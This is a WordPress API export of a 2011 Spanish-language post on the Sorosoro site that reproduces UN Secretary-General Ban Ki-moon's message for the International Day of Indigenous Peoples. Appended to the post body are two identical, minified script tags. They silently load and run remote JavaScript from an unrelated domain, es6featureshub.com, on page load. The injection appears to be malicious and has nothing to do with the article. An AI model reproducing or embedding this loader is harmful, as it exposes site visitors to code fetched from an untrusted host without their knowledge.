{"id":54444,"date":"2011-08-18T21:57:32","date_gmt":"2011-08-18T19:57:32","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=54444"},"modified":"2025-10-21T22:27:52","modified_gmt":"2025-10-21T20:27:52","slug":"9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/","title":{"rendered":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas."},"content":{"rendered":"<p style=\"text-align: justify;\">La <strong>Jornada internacional de los pueblos ind\u00edgenas<\/strong> fue decretada por primera vez por la <strong>Asamblea general de las Naciones Unidas<\/strong> en diciembre de <strong>1994<\/strong> y ha sido celebrada desde entonces todos los a\u00f1os durante el primer\u00a0decenio internacional de las poblaciones ind\u00edgenas, de 1995 a 2004.<\/p>\n<p style=\"text-align: justify;\">En <strong>2004<\/strong>, la Asamblea general proclam\u00f3 un\u00a0<strong>segundo decenio internacional de las poblaciones ind\u00edgenas<\/strong> (de 2005 \u00e0 2015) bajo el tema de un \u00ab\u00a0<strong>decenio para la acci\u00f3n y la dignidad <\/strong>\u00bb.<\/p>\n<p style=\"text-align: justify;\">Este a\u00f1o, el tema de la Jornada internacional se enfoca en: \u00ab\u00a0Creaciones ind\u00edgenas: celebraci\u00f3n de las leyendas y culturas de los pueblos ind\u00edgenas, creaci\u00f3n de nuestro futuro \u00bb.<\/p>\n<p style=\"text-align: justify;\">Con este motivo, el<strong> Secretario General de las Naciones Unidas, <\/strong><strong>Ban Ki Moon<\/strong>, nos dirigi\u00f3 el siguiente mensaje:<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u00ab\u00a0<em>En el d\u00eda Internacional de las poblaciones ind\u00edgenas del mundo, reafirmamos los derechos de los pueblos ind\u00edgenas y nuestro compromiso compartido para progresar en los valores de equidad, justicia y dignidad para todos.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00ab<em> Los pueblos ind\u00edgenas representan una visible diversidad &#8211; 5,000 grupos distintos en aproximadamente 90 pa\u00edses. Ellos constituyen m\u00e1s del 5% de la poblaci\u00f3n mundial, aproximadamente 370 millones de personas. Juntos, ellos son los guardianes de una valiosa herencia cultural a menudo en vertiginosa desaparici\u00f3n. Vemos su creatividad e innovaciones en las artes, la literatura y las ciencias. Estas contribuciones se destacan por el tema de la observancia de este a\u00f1o,\u00a0Creaciones ind\u00edgenas: celebraci\u00f3n de las leyendas y culturas, creaci\u00f3n de nuestro propio futuro.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00ab<em> Los pueblos ind\u00edgenas afrontan muchos desaf\u00edos en el mantenimiento de su identidad, tradiciones y costumbres, y sus contribuciones culturales son explotadas y comercializadas algunas veces, con poco o ning\u00fan reconocimiento. Debemos trabajar m\u00e1s para reconocer y reforzar su derecho de controlar su propiedad intelectual, y ayudarles a proteger, desarrollarse y ser compensados justamente por su herencia cultural y el conocimiento tradicional que es despu\u00e9s de todo en beneficio de todos nosotros.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00ab<em> Animo a todos los Estados miembros a tomar pasos concretos para dirigir los desaf\u00edos que afrontan los pueblos ind\u00edgenas &#8211; incluyendo la marginalizaci\u00f3n, la pobreza extrema y la p\u00e9rdida de tierras, territorios y recursos. Los pa\u00edses tambi\u00e9n deber\u00edan comprometerse en acabar con los graves abusos de derechos humanos que los pueblos ind\u00edgenas encuentran en muchas partes del mundo.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00ab<em> Como esperamos con impaciencia la Conferencia Mundial de los Pueblos Ind\u00edgenas en el 2014, impulso todos los Estados miembros a trabajar en completa asociaci\u00f3n con la gente ind\u00edgena para identificar ideas pr\u00e1cticas y propuestas para la acci\u00f3n en esta importante reuni\u00f3n.<\/em><\/p>\n<p style=\"text-align: justify;\">\u00ab<em> Juntos, celebremos y reconozcamos las historias, culturas y las identidades \u00fanicas de los pueblos ind\u00edgenas en el mundo entero. Al mismo tiempo, trabajemos para reforzar sus derechos y apoyar sus aspiraciones. <\/em>\u00bb<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\u00a1Esperemos que este mensaje lleno de energ\u00eda sea escuchado y tomado en cuenta por los estados correspondientes, que no se quede solamente en el papel y que acciones concretas sean puestas en marcha antes del 2014!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.un.org\/es\/events\/indigenousday\/\" target=\"_blank\">Para m\u00e1s informaci\u00f3n sobre la Jornada internacional de los pueblos ind\u00edgenas<\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Jornada internacional de los pueblos ind\u00edgenas fue decretada por primera vez por la Asamblea general de las Naciones Unidas en diciembre de 1994 y ha sido celebrada desde entonces todos los a\u00f1os durante el primer\u00a0decenio internacional de las poblaciones ind\u00edgenas, de 1995 a 2004. En 2004, la Asamblea general proclam\u00f3 un\u00a0segundo decenio internacional de [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-54444","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"La Jornada internacional de los pueblos ind\u00edgenas fue decretada por primera vez por la Asamblea general de las Naciones Unidas en diciembre de 1994 y ha sido celebrada desde entonces todos los a\u00f1os durante el primer\u00a0decenio internacional de las poblaciones ind\u00edgenas, de 1995 a 2004. En 2004, la Asamblea general proclam\u00f3 un\u00a0segundo decenio internacional de [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-08-18T19:57:32+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:27:52+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas.\",\"datePublished\":\"2011-08-18T19:57:32+00:00\",\"dateModified\":\"2025-10-21T20:27:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\"},\"wordCount\":543,\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\",\"name\":\"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-08-18T19:57:32+00:00\",\"dateModified\":\"2025-10-21T20:27:52+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/","og_locale":"es_ES","og_type":"article","og_title":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro","og_description":"La Jornada internacional de los pueblos ind\u00edgenas fue decretada por primera vez por la Asamblea general de las Naciones Unidas en diciembre de 1994 y ha sido celebrada desde entonces todos los a\u00f1os durante el primer\u00a0decenio internacional de las poblaciones ind\u00edgenas, de 1995 a 2004. En 2004, la Asamblea general proclam\u00f3 un\u00a0segundo decenio internacional de [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/","og_site_name":"Sorosoro","article_published_time":"2011-08-18T19:57:32+00:00","article_modified_time":"2025-10-21T20:27:52+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas.","datePublished":"2011-08-18T19:57:32+00:00","dateModified":"2025-10-21T20:27:52+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/"},"wordCount":543,"articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/","name":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas. - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-08-18T19:57:32+00:00","dateModified":"2025-10-21T20:27:52+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"9 de agosto del 2011: Mensaje del Secretario General de las Naciones Unidas Ban Ki Moon con motivo de la Jornada internacional de los pueblos ind\u00edgenas."}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/54444","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=54444"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/54444\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=54444"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=54444"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=54444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}